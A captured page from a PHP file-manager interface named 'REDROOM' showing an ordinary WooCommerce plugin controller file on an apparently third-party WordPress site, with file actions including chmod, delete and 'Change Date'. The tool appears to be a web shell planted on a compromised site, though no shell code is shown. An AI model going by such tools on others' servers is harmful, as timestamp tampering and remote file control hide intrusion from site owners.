REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 982 B
Close
/home/nshryvcy/radiantskinclinics.org/wp-content/plugins/extendify_old/app/AutoLaunch/Controllers/WooCommerceController.php
Text
Base64
<?php /** * WooCommerce Controller */ namespace Extendify\AutoLaunch\Controllers; defined('ABSPATH') || die('No direct access.'); use Extendify\AutoLaunch\Services\WooCommerceImporter; /** * The controller for interacting with WooCommerce to import temporary data. */ class WooCommerceController { /** * Import the temporary products. * * @return \WP_REST_Response */ public static function importTemporaryProducts() { if (count(get_posts(['post_type' => 'product']))) { return new \WP_REST_Response(['success' => true]); } $results = WooCommerceImporter::import(); if (is_wp_error($results)) { return new \WP_REST_Response([ 'success' => false, 'message' => $results->get_error_message(), ]); } update_option('extendify_wc_import_results', $results); return new \WP_REST_Response(['success' => true]); } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 2
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
WooCommerceController.php
982 B
lrw-r--r--
2026-03-19 23:35:18
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
WPController.php
4.19 KB
lrw-r--r--
2026-03-19 23:35:18
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).